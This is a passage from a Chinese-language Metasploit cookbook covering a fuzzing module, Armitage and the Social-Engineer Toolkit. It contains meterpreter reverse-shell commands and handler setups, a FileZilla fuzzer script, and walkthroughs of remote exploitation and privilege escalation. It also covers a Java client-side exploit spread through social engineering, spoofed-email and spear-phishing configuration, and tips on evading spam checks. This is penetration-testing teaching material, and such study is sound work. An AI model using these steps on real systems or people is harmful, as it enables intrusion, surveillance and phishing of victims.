非常重要的是要注意我们将存储利用模块的文件夹。这可以帮助您跟踪不同的模块，并且还可以帮助框架了解基本模块的使用。现在您有了完整的模块脚本，让我们找一个合适的位置来保存它。

如何做...

由于这是一个利用模块，针对影响特定文件格式的 Windows 操作系统，我们将不得不相应地选择模块位置。查看modules/exploits/windows目录，您可以找到一个特定的文件夹用于fileformat利用模块。这是我们可以保存模块的位置。让我们将其保存为galan_fileformat_bof.rb。

它是如何工作的...

下一个和最后的任务将是检查我们的模块是否正常运行。到目前为止，我们已经与模块一起工作了很多，所以这一步将很容易。我们将遵循迄今为止我们所使用的相同过程：

msf > use exploit/windows/fileformat/galan_fileformat_bof
msf exploit(galan_fileformat_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(galan_fileformat_bof) > set LHOST 192.168.56.101
msf exploit(galan_fileformat_bof) > exploit

一旦传递了利用命令，模块将执行并创建一个文件，可以用来在目标机器上引起溢出。

这完成了我们的模块创建和执行过程。您可能已经看到，该过程很简单。真正的努力在于将利用脚本正确转换为框架模块。您可以根据需要调试或修改任何现有模块。您还可以将任何新创建的模块提交给 Metasploit 社区，以帮助其他人从中受益。

使用 Metasploit 进行模糊测试

模糊测试或模糊是一种软件测试技术，它包括使用随机数据注入来查找实现错误。模糊脚本生成格式不正确的数据，并将其传递给特定的目标实体，以验证其溢出容量。Metasploit 提供了几个模糊模块，这些模块在利用开发中可能会有所帮助。让我们更多地了解一下模糊测试的基础知识，以及如何使用 Metasploit 模块作为潜在的模糊器。

准备就绪

在我们跳转到 Metasploit 模糊器模块之前，让我们简要概述一下模糊测试及其类型。

模糊测试被视为一种黑盒测试技术，用于测试软件的最大溢出容量。模糊测试被积极用于查找应用程序中的错误。

模糊器可用于测试软件、协议和文件格式。模糊器自动化了数据生成和注入的过程。我们可以控制要注入的数据或数据包的大小。

模糊器将尝试对攻击进行组合：

数字（有符号/无符号整数，浮点数等）
字符（URL 和命令行输入）
元数据：用户输入文本（id3标签）
纯二进制序列

根据我们所针对的应用程序或协议的类型，我们可以设置我们的模糊器以生成数据/数据包来测试其溢出。Metasploit 包含几个模糊器模块，可用于对应用程序和协议进行黑盒测试。这些模块可以位于modules/auxiliary/fuzzers。让我们分析这些模块的实现。

如何做…

让我们尝试使用基于协议的模糊器模块。Metasploit 有一个名为client_ftp.rb的 FTP 模块，它充当 FTP 服务器并向 FTP 客户端发送响应：

msf > use auxiliary/fuzzers/ftp/client_ftp
msf auxiliary(client_ftp) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
CYCLIC true yes Use Cyclic pattern instead..
ENDSIZE 200000 yes Max Fuzzing string size.
ERROR false yes Reply with error codes only
EXTRALINE true yes Add extra CRLF's in..
FUZZCMDS LIST.. yes Comma separated list..
RESET true yes Reset fuzzing values after..
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 21 yes The local port to listen on.
SSL false no Negotiate SSL for incoming..
SSLVersion SSL3 no Specify the version of SSL..
STARTSIZE 1000 yes Fuzzing string startsize.
STEPSIZE 1000 yes Increment fuzzing string..

您可以看到我们有许多有趣的参数可供使用。让我们找出每个参数所具有的功能。

CYCLIC选项用于设置循环模式作为模糊数据。这是为了确定偏移量，因为字符串的每四个字节都是唯一的。如果设置为 false，则模糊器将使用一串 A 作为模糊数据。
ENDSIZE选项定义了发送回 FTP 客户端的模糊数据的最大长度。默认情况下，它设置为 20000 字节。
如果将ERROR选项设置为 true，则将使用错误代码回复 FTP 客户端。
EXTRALINE选项是用于目录列表的模糊测试。如果向客户端发送一个非常大的目录名称请求，一些 FTP 客户端可能会崩溃。
FUZZCMDS选项允许我们定义哪个响应需要进行模糊处理。可能的请求包括LIST、NLST、LS、RETR。我们还可以设置*以模糊处理所有命令。
SRVHOST选项是模糊器将与 FTP 服务器绑定的 IP 地址。对于本地机器，我们可以使用0.0.0.0。
SRVPORT选项是 FTP 服务器端口，默认为 21。
STARTSIZE选项用于定义模糊数据的初始数据长度。
STEPSIZE选项用于定义每次溢出失败时的增量。

在使用模糊器时应谨慎。如果未传递正确的参数值，则模糊测试可能会失败。您可以随时参考模块源代码，以深入了解模糊器。让我们运行我们的 FTP 客户端模糊器，看看返回的输出是什么：

msf auxiliary(client_ftp) > run
[*] Server started.
[*] Client connected : 192.168.56.102
[*] - Set up active data port 20
[*] Sending response for 'WELCOME' command, arg
[*] Sending response for 'USER' command, arg test
[*] Sending response for 'PASS' command, arg test
[*] - Set up active data port 16011
[*] Sending response for 'PORT' command, arg 192,168,0,188,62,139
[*] Handling NLST command
[*] - Establishing active data connection
[*] - Data connection set up
[*] * Fuzzing response for LIST, payload length 1000
[*] (i) Setting next payload size to 2000
[*] - Sending directory list via data connection

输出有几个需要注意的地方。首先，FTP 服务器在攻击机器上启动。然后，它会与 FTP 客户端连接。然后，它开始向客户端机器发送不同的响应命令。模糊处理过程从NLST命令开始。然后，它继续到 LIST 等等。

这是 fuzzer 模块如何工作的简单演示。在下一个示例中，我们将深入研究通过构建我们自己的模糊模块来进行协议模糊。

它是如何工作的...

Fuzzers 根据我们想要模糊的应用程序创建不同的测试用例。在我们的例子中，FTP 服务器可以通过发送随机数据包然后分析其响应来进行模糊处理。数据包可以模糊网络上的以下属性：

数据包头：模糊器可以在标头中插入任意长度和值的随机数据包并分析其响应。
数据包校验和：在特定条件下，模糊器也可以操纵校验和值。
数据包大小：可以向网络应用程序发送任意长度的数据包以确定崩溃。

一旦崩溃或溢出被报告，fuzzer 可以返回其测试用例以提供溢出数据。

编写一个简单的 FileZilla FTP fuzzer

我们在上一个示例中分析了 fuzzer 模块的工作原理。让我们通过构建我们自己的小型 FTP fuzzer 来进一步深入了解 FileZilla FTP 服务器。

如何做...

构建 fuzzer 的基本模板将类似于我们讨论过的用于开发辅助模块的模板。因此，我们的基本模板应如下所示：

require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'FileZilla Fuzzer',
'Version' => '$Revision: 1 $',
'Description' => 'Filezilla FTP fuzzer',
'Author' => 'Abhinav_singh',
'License' => MSF_LICENSE
)
register_options( [
Opt::RPORT(14147),
OptInt.new('STEPSIZE', [ false, "Increase string size each iteration with this number of chars",10]),
OptInt.new('DELAY', [ false, "Delay between connections",0.5]),
OptInt.new('STARTSIZE', [ false, "Fuzzing string startsize",10]),
OptInt.new('ENDSIZE', [ false, "Fuzzing string endsize",20000])
], self.class)
end

因此，我们已经导入了 MSF 库，创建了一个类，并定义了我们的选项。下一步将是定义 fuzzer 的主体。

def run_host(ip)
udp_sock = Rex::Socket::Udp.create(
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
}
)
startsize = datastore['STARTSIZE'] # fuzz data size to begin with
count = datastore['STEPSIZE'] # Set count increment
simple FileZilla FTP fuzzerwritingwhile count < 10000 # While the count is under 10000 run
evil = "A" * count # Set a number of "A"s equal to count
pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00" # Define the payload
udp_sock.sendto(pkt, ip, datastore['RPORT']) # Send the packet
print_status("Sending: #{evil}")
resp = udp_sock.get(1) # Capture the response
count += 100 # Increase count by 10, and loop
end
end
end

让我们分析脚本。脚本以创建 UDP 套接字开始，该套接字将需要与 FileZilla 服务器建立连接。然后，我们声明变量startsize和count，它们分别保存 fuzzer 的数据大小起始值和增量长度的值。然后，我们设置一个循环，在该循环下我们声明我们的恶意字符串和将作为数据包（pkt）发送的有效负载格式。

然后，脚本尝试使用udp_sock_sendto函数将数据包发送到服务器，并使用resp=udp_sock.get()捕获其响应。此外，每次接收到响应时，数据包的计数都会增加 100。

它是如何工作的...

要开始使用该模块，我们需要将其保存在modules/auxiliary/fuzzers/ftp下。让我们将 fuzzer 模块命名为filezilla_fuzzer.rb：

msf > use auxiliary/fuzzers/ftp/filezilla_fuzzer
msf auxiliary(filezilla_fuzzer) > show options
Module options (auxiliary/fuzzers/ftp/filezilla_fuzzer):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 0.5 no Delay between..
ENDSIZE 20000 no Fuzzing string endsize
RHOSTS yes The target address
RPORT 14147 yes The target port
STARTSIZE 10 no Fuzzing string startsize
STEPSIZE 10 no Increase string size..

因此，我们的模块运行正常，并向我们显示可用的选项。让我们传递相应的值并查看我们传递run命令时会发生什么：

msf auxiliary(filezilla_fuzzer) > set RHOSTS 192.168.56.1
RHOSTS => 192.168.56.1
msf auxiliary(filezilla_fuzzer) > run
[*] Sending: AAAAAAAAAA
[*] Sending: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

太棒了！fuzzer 开始向服务器发送字符串，并在服务器崩溃或循环结束之前继续该过程。如果循环在崩溃之前结束，那么您可以修改脚本以发送更大的字符串长度。这是使用 Metasploit 模糊软件的简单演示。通常不建议将 Metasploit 用作大型软件的模糊平台。我们有几个专门用于模糊软件和应用程序的专用框架。

还有更多...

让我们快速看一下一个模糊框架，如果您想增强您对模糊和利用开发的了解，可以在其上工作。

Antiparser 模糊框架

Antiparser 是用 Python 编写的模糊框架。它有助于专门用于构建 fuzzer 的随机数据的创建。该框架可用于开发将在多个平台上运行的 fuzzer，因为该框架仅取决于 Python 解释器的可用性。

Antiparser 可以从sourceforge.net/projects/antiparser/下载。

第九章：使用 Armitage

在本章中，我们将涵盖：

开始使用 Armitage
扫描和信息收集
查找漏洞和攻击目标
使用选项卡切换处理多个目标
使用 Armitage 进行后渗透
使用 Armitage 进行客户端利用

介绍

到目前为止，我们完全专注于 Metasploit 框架，并学习如何使用该框架来进行最佳的渗透测试。现在我们将把重点转移到 Metasploit 扩展工具上，这些工具可以进一步提升渗透测试的水平。我们将从 Armitage 开始我们的旅程，这是一个基于 GUI 的工具，可以在框架上运行。它是一个智能的 Metasploit 工具，可以可视化目标，推荐利用漏洞，并暴露框架中的高级后渗透功能。

Armitage 围绕黑客过程组织了 Metasploit 的功能。它具有用于发现、访问、后渗透和操纵的功能。Armitage 的动态工作区可以让您快速定义和切换目标标准。使用此功能将数千个主机分成目标集。Armitage 还可以启动扫描并从许多安全扫描仪导入数据。Armitage 可视化您当前的目标，因此您将了解您正在使用的主机以及您的会话位置。Armitage 推荐利用漏洞，并且可以选择运行主动检查以告诉您哪些利用漏洞将起作用。如果这些选项失败，请使用 Hail Mary 攻击来释放 Armitage 的智能自动利用攻击您的目标。

一旦进入，Armitage 将公开内置于 meterpreter 代理中的后渗透工具。通过单击菜单，您将提升权限、记录按键、转储密码哈希、浏览文件系统并使用命令行。

因此，通过使用 Armitage，我们可以通过工具提供的各种现成功能进一步简化我们的渗透测试过程。因此，让我们从设置 Armitage 与 Metasploit 的基础知识开始，然后我们将分析使用 Armitage 进行端口扫描、预渗透和后渗透。

开始使用 Armitage

让我们从 Armitage 的基本设置指南开始。我们将涵盖 Windows 和 Linux 中 BackTrack 中的 Armitage 设置。Armitage 已预先安装在最新版本的 BackTrack 中。要在 Windows 上设置 Armitage，可以从其官方网页下载 ZIP 文件：

www.fastandeasyhacking.com/download

如何做...

让我们从在 BackTrack 中设置 Armitage 开始。

Armitage 将预先安装在 BackTrack 5 R2 中。可以通过单击桌面上的应用程序，然后导航到Backtrack | Exploitation tools | Network Exploitation tools | Metasploit framework | Armitage来启动它。

您将看到一个 GUI，询问您设置连接。它的默认用户名和密码分别为msf和test。您可以将 DB 驱动程序保留为postgressql，最后将 DB 连接字符串保留为msf3:"8b826ac0"@127.0.0.1:7175/msf3:

如何做...

一旦这些默认设置完成，我们可以通过单击启动 MSF来启动 Armitage GUI。

在 Windows 上设置 Armitage，有两个主要要求：

Metasploit 版本 4.2 及以上
JDK 1.6

您可以从前面提到的 URL 下载 ZIP 文件，但也有一个简单的替代方法。您可以转到开始 | 程序 | Metasploit framework | Framework Update。更新完成后，它将自动将 Armitage 添加到您的 Metasploit 库中。
更新完成后，可以通过导航到开始 | 程序 | Metasploit framework | Armitage来启动 Armitage。
您将看到连接 GUI，其中设置了主机、端口、用户和密码的默认值。您可以简单地单击连接以在本地启动 Armitage。
一旦你点击连接，它将要求你启动 Metasploit RPC 服务器。点击是，然后继续到主窗口。要在远程 Metasploit 上使用 Armitage，你可以将 IP 地址从127.0.0.1更改为远程 IP。

它是如何工作的...

Armitage 通过创建 RPC 调用到 Metasploit 来工作。一旦你点击连接，你会注意到一个重复的 RPC 连接失败消息。错误消息是因为 Armitage 不断尝试通过抛出 RPC 调用来连接到 Metasploit 框架，并等待响应。一旦连接成功，我们将看到包含 MSF 控制台的 Armitage GUI 在底部。

还有更多...

让我们看看如何在其他 Linux 版本上设置 Armitage。

在 Linux 上设置 Armitage

在 Linux 上设置 Armitage 在 Metasploit 上也很简单。你可以从官方网站下载安装程序，或者你可以简单地运行msfupdate来获取 Metasploit 版本 4.2 及更高版本上的 Armitage。在 Linux 上使用 Armitage 时，请确保框架数据库正在运行。从终端运行以下命令启动 PostgreSQL：/etc/init.d/framework-postgres start。

扫描和信息收集

从我们的第一个配方开始，一旦 Armitage 启动并运行，我们现在可以开始使用 Armitage。在这个配方中，我们将从渗透测试的最基本步骤开始，即扫描和信息收集。让我们在 Armitage 中执行一个 Nmap 扫描，看看 GUI 上显示了什么结果。

准备就绪

要启动 Nmap 扫描，可以点击主机，然后点击Nmap 扫描，如下面的屏幕截图所示。让我们进行一个快速的操作系统检测扫描，看看有没有存活的主机：

准备就绪

快速浏览 Armitage 窗口，左侧有一个搜索面板，我们可以在其中搜索框架中的所有不同模块，这在使用 msfconsole 时并不容易。此外，我们可以看到 MSF 控制台面板，我们可以从中执行到目前为止学到的任何 Metasploit 命令。因此，当我们使用 Armitage 时，我们既有 GUI 的功能，也有命令行的功能。

如何做...

要执行扫描，请按照以下步骤进行：

要开始扫描过程，Armitage 将要求我们输入一个 IP 或 IP 范围进行扫描。给出一个扫描范围为 192.168.56.1/24，它将为我们扫描整个网络，并返回存活主机的操作系统版本（如果可以检测到）：
一旦扫描完成，它将以图像的形式反映所有存活的主机及其可能的操作系统，如前面的屏幕截图所示。所以在我们的情况下，有三个存活的主机，其中两个正在运行 Windows，而一个正在运行 Linux。
现在我们的下一步将是收集有关我们存活目标的更多信息，以便我们可以选择相关的漏洞来进行渗透测试。右键单击目标图像将显示服务选项。点击它将打开一个新选项卡，列出在这些端口上运行的开放端口和服务。通过这种方式，我们可以通过只需点击几下就收集到有关多个目标的大量相关信息：

这里还要注意的一点是 Armitage 为每个新请求创建的不同选项卡。这有助于我们轻松处理多个目标。我们可以轻松地在不同目标之间切换并获取有关它们的信息。如果在 Armitage 中的选项不足，我们随时可以转到控制台选项卡，并直接在那里尝试 Metasploit 命令。这是 Armitage 相对于 Metasploit 的一个巨大优势。处理多个目标可以提高性能测试的效率。

在下一个配方中，我们将开始我们的利用阶段，看看 Armitage 如何轻松快速地为我们提供相关的漏洞和有效载荷，我们可以应用到我们的目标上。

它是如何工作的...

Armitage 从 Metasploit 框架中导入了 Nmap 功能。 Nmap 所需的参数以指令的形式从 Armitage GUI 传递到 Metasploit。然后，Metasploit 调用 Nmap 脚本并使用这些指令作为参数。

查找漏洞并攻击目标

从我们之前的配方中继续，我们将看到如何自动查找我们在 Nmap 扫描中发现的目标的已知漏洞。Armitage 根据操作系统中存在的开放端口和漏洞自动发现目标的利用过程。这个自动化过程并不总是会产生正确的结果，因为利用搜索完全取决于 Nmap 扫描返回的结果。如果 OS 发现是错误的，那么利用将无法工作。

准备工作

让我们启动我们的 Armitage 面板并连接到 Metasploit。然后，启动 Nmap 扫描以查找可用的目标。我们在前两个配方中已经介绍了这些步骤。让我们使用 Armitage 查找我们目标中的漏洞。

如何操作...

一旦目标被发现，Armitage 有一个攻击选项，可以根据发现的目标的开放端口和操作系统漏洞查找已知的利用。要查找利用，点击攻击 | 查找攻击 | 按端口或按漏洞。

它是如何工作的...

一旦 Armitage 发现了利用，我们将在目标图像上右键单击找到一个额外的选项——攻击。这个选项反映了 Armitage 为特定目标发现的不同攻击：

它是如何工作的...

让我们继续利用我们的 Windows 目标。您可以使用 SMB ms_08_047 netapi漏洞来利用目标。您可以通过右键单击目标并转到攻击 | SMB | MS_08_047 netapi exploit 来找到此漏洞。您还可以选择使用反向连接选项，以便在成功执行利用后获得与您的连接。成功执行利用后，您会注意到三件事：

目标的图像变为红色，并围绕其显示成功利用的闪电
右键单击目标会给我们提供 meterpreter 通道的选项
msfconsole 显示会话的开启

您可以看到在不传递任何命令的情况下利用目标是多么容易。GUI 提供了 Metasploit 中基于命令的所有功能。这就是为什么 Armitage 为框架增加了更多功能的原因。然而，对 msfconsole 命令的良好了解是必不可少的。我们不能完全依赖 GUI。使用 Armitage 的 GUI 无法利用的几个 MSF 功能。

在下一个配方中，我们将分析使用 Armitage 进行后期利用。

使用选项卡切换处理多个目标

在之前的几个配方中，我们已经看到了 Armitage GUI 如何简化利用过程。在这个配方中，我们将看到使用 Armitage 的另一个优势。当我们在 Metasploit 中处理多个目标时，我们必须在会话之间切换以管理它们。在 Armitage 中，通过使用不同的选项卡来进一步简化在多个目标之间切换的过程。让我们看看如何做到这一点。

如何操作...

在上一个配方中，我们已经攻破了我们的 Windows XP 目标。我们还有两个目标可供选择。我们可以通过右键单击 Windows 2008 Server 来利用它。或者，我们也可以通过转到查看 | 控制台来启动一个新的控制台。这将启动一个新的控制台，我们可以使用命令行来攻破目标。

它是如何工作的...

让我们设置一个多处理程序，并利用客户端漏洞攻击目标。

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > exploit
[-] Handler failed to bind to 192.168.56.101:15263
[-] Handler failed to bind to 0.0.0.0:15263
[-] Exploit exception: The address is already in use (0.0.0.0:15263).
[*] Exploit completed, but no session was created.

您可以看到，利用命令抛出了一个错误，即无法在192.168.56.101:15263上绑定反向处理程序。这是因为我们在攻击 Windows XP 目标时已经在此端口上建立了反向连接。因此，我们将不得不更改端口号并再次使用利用命令。

msf exploit(handler) > set LPORT 1234
LPORT => 1234
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.56.101:1234
[*] Starting the payload handler...

现在，一旦客户端利用成功执行，我们将建立一个反向连接，并且我们将对我们的 2008 服务器目标进行攻击。

这里需要注意的重要一点是，不同的目标有不同的标签页。我们可以通过在标签之间切换轻松地与任何受损的目标进行交互：

工作原理...

这是 Armitage 的另一个重要功能，可以简化渗透测试的过程。当我们处理网络中的多个目标时，这可能非常有益。

使用 Armitage 进行后渗透

在上一个示例中，我们看到了 Armitage 在处理多个目标时的有用性。一旦目标被攻击，我们的下一步将是执行各种后渗透活动。让我们看看 Armitage 在后渗透阶段也可以派上用场。

做好准备

我们将分析我们攻击的 Windows XP 目标，并看看我们如何在其上执行几个后渗透活动。

如何做...

一旦目标被攻击，我们可以通过右键单击其图像来跟随几个 meterpreter 选项。我们可以执行一些常用的后渗透操作，例如访问、交互和枢纽。我们只需点击几下就可以执行几个操作。让我们执行后渗透的第一个和最重要的阶段——提权。我们可以通过右键单击目标图像并导航到Meterpreter | Access | Escalate privileges来找到此选项。另一个有趣的后渗透活动是screenshot，可以通过Meterpreter | Explore | Screenshot浏览。目标桌面的屏幕截图将显示在一个新标签中，您可以随时刷新。以下屏幕截图演示了这一点：

如何做...

工作原理...

您可以看到屏幕截图显示在一个新标签中，底部有两个按钮。刷新按钮将显示新的屏幕截图，而观看按钮将在每 10 秒后刷新屏幕截图。

同样，您可以尝试 Armitage 中提供的许多“点击到服务器”后渗透选项，以加快渗透测试的过程。

这是使用 Armitage 作为 Metasploit 的潜在扩展以加快利用过程的一个小演示。只有当我们完全掌握 Metasploit 时，才能真正理解 Armitage 的强大之处。强大的命令行与图形界面的结合使 Armitage 成为渗透测试的完美工具。

使用 Armitage 进行客户端利用

如果我们无法找到一个易受攻击的操作系统，客户端利用可以成为渗透测试的有用技术。正如在第四章中讨论的那样，客户端利用和防病毒绕过，客户端利用技术利用了目标系统上安装的应用程序（如 Internet Explorer 和 Adobe Reader）的漏洞。在本示例中，我们将在 Windows 7 上使用 Armitage 执行基于 Java 的客户端利用。

做好准备

我们可以通过启动简单的 Nmap 扫描来开始我们的渗透测试，以找出目标的 IP 地址和其他信息。

如何做...

要执行客户端利用，请按照以下步骤进行：

在 Armitage 的左窗格中，转到Exploit | Windows | Browser | java_docbase_bof。

您将看到几个参数选项，如下面的屏幕截图所示：

如何做...

利用模块要求 SRVHOST 和 URI 主机，我们必须提供目标机器的 IP 地址和请求 URI。所有其他参数已经有默认值。
一旦参数值被传递，点击启动按钮开始利用过程。

工作原理...

一旦点击了启动按钮，利用活动将在控制台窗口中反映出来。Armitage 将生成一个 URI 位置，目标用户必须在其浏览器中执行该位置以启动攻击。如果利用成功，Armitage 会自动启动一个后台监听器，等待目标机器返回连接。我们可以使用不同的社会工程技术将我们的恶意 URL 传输给目标用户。

一旦攻击成功，我们将在 Armitage GUI 中的目标图像周围看到闪电符号。通过右键单击目标，我们可以找到不同的后渗透选项，比如设置一个 meterpreter 会话和登录。以下截图描述了这种情况：

工作原理...

不同进程的响应，比如设置一个 meterpreter 会话，也可以在控制台窗口中进行监视。我们可以注意到在控制台中执行的与我们在之前章节中涵盖的相同一组命令。Armitage 只是通过提供基于 GUI 的交互介质来自动化整个过程。

第十章：社会工程工具包

在本章中，我们将涵盖：

开始使用社会工程工具包（SET）
使用 SET 配置文件
鱼叉式网络钓鱼攻击向量
网站攻击向量
多攻击网络方法
传染性媒体生成器

介绍

社会工程是一种操纵人们执行意图之外行为的行为。基于网络的社会工程场景旨在诱使用户执行可能导致机密信息被盗或某些恶意活动的活动。黑客之间社会工程迅速增长的原因是很难突破平台的安全性，但更容易欺骗该平台的用户执行意外的恶意活动。例如，很难突破 Gmail 的安全性以窃取某人的密码，但很容易创建一个社会工程场景，通过发送虚假的登录/网络钓鱼页面来欺骗受害者透露他/她的登录信息。

社会工程工具包旨在执行此类欺骗活动。就像我们对现有软件和操作系统有漏洞和漏洞利用一样，SET 是一种用于破坏自己的意识安全的通用漏洞利用。它是一个官方工具包，可在www.social-engineer.org上获得，并且它作为 BackTrack 5 的默认安装。在本章中，我们将分析这个工具的方面以及它如何为 Metasploit 框架增添更多功能。我们将主要关注创建攻击向量和管理被视为 SET 核心的配置文件。因此，让我们深入探讨社会工程的世界。

开始使用社会工程工具包（SET）

让我们开始我们关于 SET 的介绍性配方，在这里我们将讨论不同平台上的 SET。

准备工作

可以从其官方网站www.social-engineer.com下载 SET 的不同平台版本。它既有通过浏览器运行的 GUI 版本，也有可以从终端执行的命令行版本。它预装在 BackTrack 中，这将是我们在本章讨论的平台。

如何做...

要在 BackTrack 上启动 SET，请启动终端窗口并传递以下路径：

root@bt:~# cd /pentest/exploits/set
root@bt:/pentest/exploits/set# ./set
Copyright 2012, The Social-Engineer Toolkit (SET)
All rights reserved.
Select from the menu:
1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit

如果您是第一次使用 SET，可以更新工具包以获取最新模块并修复已知的错误。要开始更新过程，我们将传递svn update命令。一旦工具包更新完成，它就可以使用了。

可以通过导航到应用程序 | Backtrack | 利用工具 | 社会工程工具包 | set-web来访问 SET 的 GUI 版本。

工作原理...

社会工程工具包是一个基于 Python 的自动化工具，为我们创建了一个菜单驱动的应用程序。Python 的快速执行和多功能性使其成为开发模块化工具如 SET 的首选语言。它还使得将工具包与 Web 服务器集成变得容易。任何开源的 HTTP 服务器都可以用于访问 SET 的浏览器版本。在使用 SET 时，Apache 被认为是首选服务器。

使用 SET 配置文件

在这个配方中，我们将仔细研究 SET 配置文件，其中包含工具包使用的不同参数的默认值。默认配置对大多数攻击都有效，但在某些情况下，您可能需要根据情景和要求修改设置。因此，让我们看看配置文件中有哪些配置设置。

准备工作

要启动配置文件，请转到配置并打开set_config文件。

root@bt:/pentest/exploits/set# nano config/set_config

配置文件将以一些介绍性陈述启动，如下面的屏幕截图所示：

准备工作

如何做...

让我们看看有哪些配置设置可供我们使用。

# DEFINE THE PATH TO METASPLOIT HERE, FOR EXAMPLE /pentest/exploits/framework3
METASPLOIT_PATH=/pentest/exploits/framework3

第一个配置设置与 Metasploit 安装目录有关。 SET 需要 Metasploit 才能正常运行，因为它从框架中提取有效载荷和利用。

# SPECIFY WHAT INTERFACE YOU WANT ETTERCAP TO LISTEN ON, IF NOTHING WILL DEFAULT
# EXAMPLE: ETTERCAP_INTERFACE=wlan0
ETTERCAP_INTERFACE=eth0
#
# ETTERCAP HOME DIRECTORY (NEEDED FOR DNS_SPOOF)
ETTERCAP_PATH=/usr/share/ettercap
Ettercap is a multipurpose sniffer for switched LAN. Ettercap section can be used to perform LAN attacks like DNS poisoning, spoofing etc. The above SET setting can be used to either set ettercap ON of OFF depending upon the usability. # SENDMAIL ON OR OFF FOR SPOOFING EMAIL ADDRESSES
Ettercap is a multipurpose sniffer for switched LAN. Ettercap section can be used to perform LAN attacks like DNS poisoning, spoofing etc. The above SET setting can be used to either set ettercap ON of OFF depending upon the usability. # SENDMAIL ON OR OFF FOR SPOOFING EMAIL ADDRESSES
SENDMAIL=OFF

sendmail电子邮件服务器主要用于电子邮件欺骗。此攻击仅在目标电子邮件服务器不实现反向查找时才有效。默认情况下，其值设置为OFF。

以下设置显示了 SET 最常用的攻击向量之一。此配置将允许您使用您的名称或任何虚假名称签署恶意 Java 小程序，然后可以用于执行基于浏览器的 Java 小程序感染攻击。

# CREATE SELF-SIGNED JAVA APPLETS AND SPOOF PUBLISHER NOTE THIS REQUIRES YOU TO
# INSTALL ---> JAVA 6 JDK, BT4 OR UBUNTU USERS: apt-get install openjdk-6-jdk
# IF THIS IS NOT INSTALLED IT WILL NOT WORK. CAN ALSO DO apt-get install sun-java6-jdk
SELF_SIGNED_APPLET=OFF

我们将在以后的食谱中详细讨论此攻击向量。此攻击向量还将需要在您的系统上安装 JDK。让我们将其值设置为ON，因为我们将详细讨论此攻击：

SELF_SIGNED_APPLET=ON
# AUTODETECTION OF IP ADDRESS INTERFACE UTILIZING GOOGLE, SET THIS ON IF YOU WANT
# SET TO AUTODETECT YOUR INTERFACE
AUTO_DETECT=ON

AUTO_DETECT标志由 SET 用于自动发现网络设置。它将使 SET 能够检测您的 IP 地址，如果您使用 NAT/端口转发，并允许您连接到外部互联网。

以下设置用于设置 Apache web 服务器以执行基于 Web 的攻击向量。最好将其设置为ON以获得更好的攻击性能：

# USE APACHE INSTEAD OF STANDARD PYTHON WEB SERVERS, THIS WILL INCREASE SPEED OF
# THE ATTACK VECTOR
APACHE_SERVER=OFF
#
# PATH TO THE APACHE WEBROOT
APACHE_DIRECTORY=/var/www

以下设置用于在执行 Web 攻击时设置 SSL 证书。已报告了 SET 的WEBATTACK_SSL设置的几个错误和问题。因此，建议将此标志保持为“OFF”：

# TURN ON SSL CERTIFICATES FOR SET SECURE COMMUNICATIONS THROUGH WEB_ATTACK VECTOR
WEBATTACK_SSL=OFF

以下设置可用于构建用于 Web 攻击的自签名证书，但将显示警告消息“不受信任的证书”。因此，建议明智地使用此选项以避免警告目标用户：

# PATH TO THE PEM FILE TO UTILIZE CERTIFICATES WITH THE WEB ATTACK VECTOR (REQUIRED)
# YOU CAN CREATE YOUR OWN UTILIZING SET, JUST TURN ON SELF_SIGNED_CERT
# IF YOUR USING THIS FLAG, ENSURE OPENSSL IS INSTALLED!
#
SELF_SIGNED_CERT=OFF

以下设置用于在执行攻击后启用或禁用 Metasploit 监听器：

# DISABLES AUTOMATIC LISTENER - TURN THIS OFF IF YOU DON'T WANT A METASPLOIT LISTENER IN THE BACKGROUND.
AUTOMATIC_LISTENER=ON

以下配置将允许您将 SET 用作独立工具包，而无需使用 Metasploit 功能，但始终建议与 SET 一起使用 Metasploit 以提高渗透测试性能。

# THIS WILL DISABLE THE FUNCTIONALITY IF METASPLOIT IS NOT INSTALLED AND YOU JUST WANT TO USE SETOOLKIT OR RATTE FOR PAYLOADS
# OR THE OTHER ATTACK VECTORS.
METASPLOIT_MODE=ON

这些是 SET 可用的一些重要配置设置。必须充分了解配置文件，以完全控制社会工程师工具包。

工作原理...

SET 配置文件是工具包的核心，因为它包含 SET 在执行各种攻击向量时将选择的默认值。配置错误的 SET 文件可能导致操作中出现错误，因此必须了解配置文件中定义的细节，以获得最佳结果。 如何操作部分清楚地反映了我们可以理解和管理配置文件的简易性。

鱼叉式网络钓鱼攻击向量

鱼叉式网络钓鱼攻击向量是一种用于向目标/特定用户发送恶意邮件的电子邮件攻击场景。为了欺骗自己的电子邮件地址，您将需要一个sendmail服务器。将配置设置更改为SENDMAIL=ON。如果您的计算机上没有安装sendmail，则可以通过输入以下命令进行下载：

root@bt:~# apt-get install sendmail
Reading package lists... Done

准备工作

在进行网络钓鱼攻击之前，我们必须了解电子邮件系统的工作原理。

为了减轻这些类型的攻击，收件人电子邮件服务器部署了灰名单、SPF 记录验证、RBL 验证和内容验证。这些验证过程确保特定的电子邮件来自与其域相同的电子邮件服务器。例如，如果一个伪造的电子邮件地址<richyrich@gmail.com>来自 IP202.145.34.23，它将被标记为恶意，因为此 IP 地址不属于 Gmail。因此，为了绕过这些，攻击者应确保服务器 IP 不在 RBL/SURL 列表中。由于鱼叉式网络钓鱼攻击严重依赖用户感知，攻击者应对发送的内容进行侦察，并确保内容看起来尽可能合法。

钓鱼攻击有两种类型——基于 Web 的内容和基于载荷的内容。

